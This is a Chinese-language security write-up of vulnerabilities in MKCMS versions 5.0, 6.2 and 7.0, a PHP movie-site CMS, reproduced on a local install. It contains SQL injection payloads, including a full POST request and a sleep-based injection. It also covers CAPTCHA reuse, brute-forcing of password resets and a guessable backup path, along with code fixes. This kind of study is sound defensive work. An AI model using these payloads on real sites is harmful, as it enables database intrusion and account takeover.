MKCMS5.0漏洞合集
简介及安装
MKCMS5.0是一款基于PHP+MYSQL开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用,自动更新电影,无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。
下载地址:链接:https://pan.baidu.com/s/12HsPtKN8ECIAv3QNy6rSwg
提取码:zkaq
源码放在phpstudy根目录下。
访问:http://127.0.0.1/MKCMS5.0/install/
漏洞复现
前台sql注入
漏洞出现在/ucenter/reg.php第7-19行:
-
if(isset($_POST['submit'])){
-
$username = stripslashes(trim($_POST['name']));
-
// 检测用户名是否存在
-
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
-
if(mysql_fetch_array($query)){
-
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
-
exit;
-
}
-
$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
-
if(mysql_fetch_array($result)){
-
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
-
exit;
-
}
注册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。
当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题。
POC
-
POST /ucenter/reg.php HTTP/1.1
-
Host: 127.0.0.1
-
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
-
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-
Accept-Language: en
-
Accept-Encoding: gzip, deflate
-
Referer: http://127.0.0.1/ucenter/reg.php
-
Content-Type: application/x-www-form-urlencoded
-
Content-Length: 52
-
Connection: close
-
Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3
-
Upgrade-Insecure-Requests: 1
-
name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=
任意用户密码重置
漏洞出现在/ucenter/repass.php
第1-44行:
本质上来说此处是一个逻辑问题,程序未通过邮箱等验证是否为用户本身就直接先在第13-14行把用户密码重置为123456了,根本没管邮件发送成功没有。
此处过滤了单引号,所以无法通过然后邮箱账号进行重置
漏洞修复
1.注册处的注入可像密码找回处一样,过滤一下就OK。
2.找回密码处可修改为如下代码:
-
<?php
-
include('../system/inc.php');
-
if(isset($_SESSION['user_name'])){
-
header('location:index.php');
-
};
-
function randomkeys($length) {
-
$pattern = '1234567890abcdefghijklmnopqrstuvwxyz
-
ABCDEFGHIJKLOMNOPQRSTUVWXYZ';
-
for($i=0;$i<$length;$i++)
-
{
-
$key .= $pattern{mt_rand(0,35)};
-
}
-
return $key;
-
};
-
$repass = randomkeys(10);
-
if(isset($_POST['submit'])){
-
$username = stripslashes(trim($_POST['name']));
-
$email = trim($_POST['email']);
-
// 检测用户名是否存在
-
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
-
if(!! $row = mysql_fetch_array($query)){
-
if (mysql_query($sql)) {
-
$token =$row['u_question'];
-
include("emailconfig.php");
-
//创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.
-
$smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true);
-
$smtp->debug = false;
-
$mailType = "HTML"; //信件类型,文本:text;网页:HTML
-
$email = $email; //收件人邮箱
-
$emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题
-
$emailBody = "亲爱的".$username.":<br/>感谢您在我站注册帐号。<br/>您的初始密码为".$repass."<br/>如果此次找回密码请求非你本人所发,请忽略本邮件。<br/><p style='text-align:right'>-------- ".$mkcms_name." 敬上</p>";
-
// sendmail方法
-
// 参数1是收件人邮箱
-
// 参数2是发件人邮箱
-
// 参数3是主题(标题)
-
// 参数4是邮件主题(标题)
-
// 参数4是邮件内容 参数是内容类型文本:text 网页:HTML
-
$rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);
-
if($rs==true){
-
$_data['u_password'] = md5($repass);
-
$sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
-
echo '<script>alert("请登录到您的邮箱查看您的密码!");window.history.go(-1);</script>';
-
}else{
-
echo "找回密码失败";
-
}
-
}
-
}
-
}
-
?>
增加一个生成随机密码的函数,将把新密码更新到数据库的流程放到发送邮件成功后即可。
MKCMS6.2漏洞合集
简介及安装
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。
下载地址:链接:https://pan.baidu.com/s/1zJ0zDxLdblkM1DHxMZHr3w
提取码:zkaq
漏洞复现
验证码重用
/admin/cms_login.php验证码处的逻辑如下,比较session中的验证码和输入的是否一致,不一致就进入alert_href,这个js跳转,实际是在刷新页面
-
if(isset($_POST['submit'])){
-
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
-
alert_href('验证码错误','cms_login.php');
-
}
跳转后就会刷新验证码,然而我用的是burp,默认是不解析js的
全局搜索这个$_SESSION[‘verifycode’],发现只在/system/verifycode.php有赋值,也就是说,如果使用验证码后,我们不跟随js跳转,就不会重置验证码,验证码也就能被重复使用了。
前台注入:/ucenter/repass.php
历史漏洞中,在/ucenter/repass.php有个越权修改密码的洞(CVE-2019-11332),跟进去发现原来还有注入,以下是分析过程。
-
if(isset($_POST['submit'])){
-
$username = stripslashes(trim($_POST['name']));
-
$email = trim($_POST['email']);
-
// 检测用户名是否存在
-
$query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");
前面说到全局对$_POST存在addslash的过滤(加\转义),上面又把参数给stripslashes了(去掉),那么这里就是一个注入了。
前台注入:/ucenter/active.php
/ucenter/active.php?verify=1存在注入
-
$verify = stripslashes(trim($_GET['verify'])); //去掉了转义用的\
-
$nowtime = time();
-
$query = mysql_query("select u_id from mkcms_user where u_question='$verify'");
-
$row = mysql_fetch_array($query);
sqlmap直接跑即可
前台注入:/ucenter/reg.php
/ucenter/reg.php的name参数,存在注入。
-
if(isset($_POST['submit'])){
-
$username = stripslashes(trim($_POST['name']));
-
// 检测用户名是否存在
-
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
任意用户密码找回(密码可被穷举)
这个问题主要是/ucenter/repass.php代码里,找回密码的逻辑有问题,第10行查询到username、 email能对应上之后,14行就直接重置密码了。。。而且密码的范围在12行有写,只有90000种可能,重置之后,burp跑一下就可以了。(当然要结合验证码重用才能有效爆破)
备份文件路径可猜解
这个备份功能设置的是非常简单的文件名。/backupdata/mkk.sql
在/admin/cms_backup.php
-
<?php
-
$filename="../backupdata/".DATA_NAME.".sql"; //存放路径,默认存放到项目最外层
-
$fp = fopen($filename,'w');
-
fputs($fp,$mysql);
-
fclose($fp);
-
alert_href('备份成功!','cms_data.php');
-
?>
全局搜DATA_NAME变量,是安装时候设置的数据库名。
在\install\index_2.php中
默认的DATA_NAME值是mkk
在\system\data.php中
MKCMS v7.0 sql注入漏洞
漏洞简介
米酷影视管理系统是一套专为不同需求的站长而设计的影视管理系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需 3 分钟即可建立一个海量的视频讯息的行业网站。
米酷CMS v7.0.3版本admin/model/admin_edit.php、ucenter/reg.php等文件存在漏洞,攻击者可以利用漏洞进行sql注入攻击。
前台注入漏洞
漏洞分析
在ucenter/reg.php这个文件中,第9行处对$username这个参数进行了查询拼接。
但是在第7行处,$username的值是来自于POST传递的name参数,当name参数到达reg.php这个文件之后,stripslashes()函数将name的值进行了去除“\”处理。
根据include,跳转到/system/library.php中,我们可以发现这里系统对GET、POST等参数进行了addslashes_deep()函数处理,即对参数传递时加上了一个“\”。
问题就出在这里,前端用户进行提交的name参数,经过了addslashes_deep()函数处理加上了一个“\”,到达reg.php页面又使用stripslashes()函数将name的值进行了去除“\”处理,这就导致出现了无过滤拼接。
漏洞复现
来到前台漏洞点。http://127.0.0.1/MKCMS7.0/ucenter/reg.php
事先已有admin用户。抓包注册admin用户,提示已存在
在name参数处构造Payload:+and+’1’=’2
在name参数处构造Payload:+and+’1’=’1
根据不同的返回值可以说明构造的payload被拼接到数据库进行了判断处理。
后台注入
漏洞分析
在admin/model/admin_edit.php文件中,文件第10行处,系统进行了数据库查询,拼接了两个参数,一个是POST传递的a_name,一个是GET传递的id,可以看出,系统并未对参数在这里做任何的过滤处理。
漏洞复现
定位到漏洞点:127.0.0.1/MKCMS7.0/admin/cms_admin_edit.php?id=1
用单引号测试
构造payload:id=1+and+if(1>2,1,sleep(3))。数据库执行了sleep()函数。同样也可以直接丢给sqlmap去注入。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线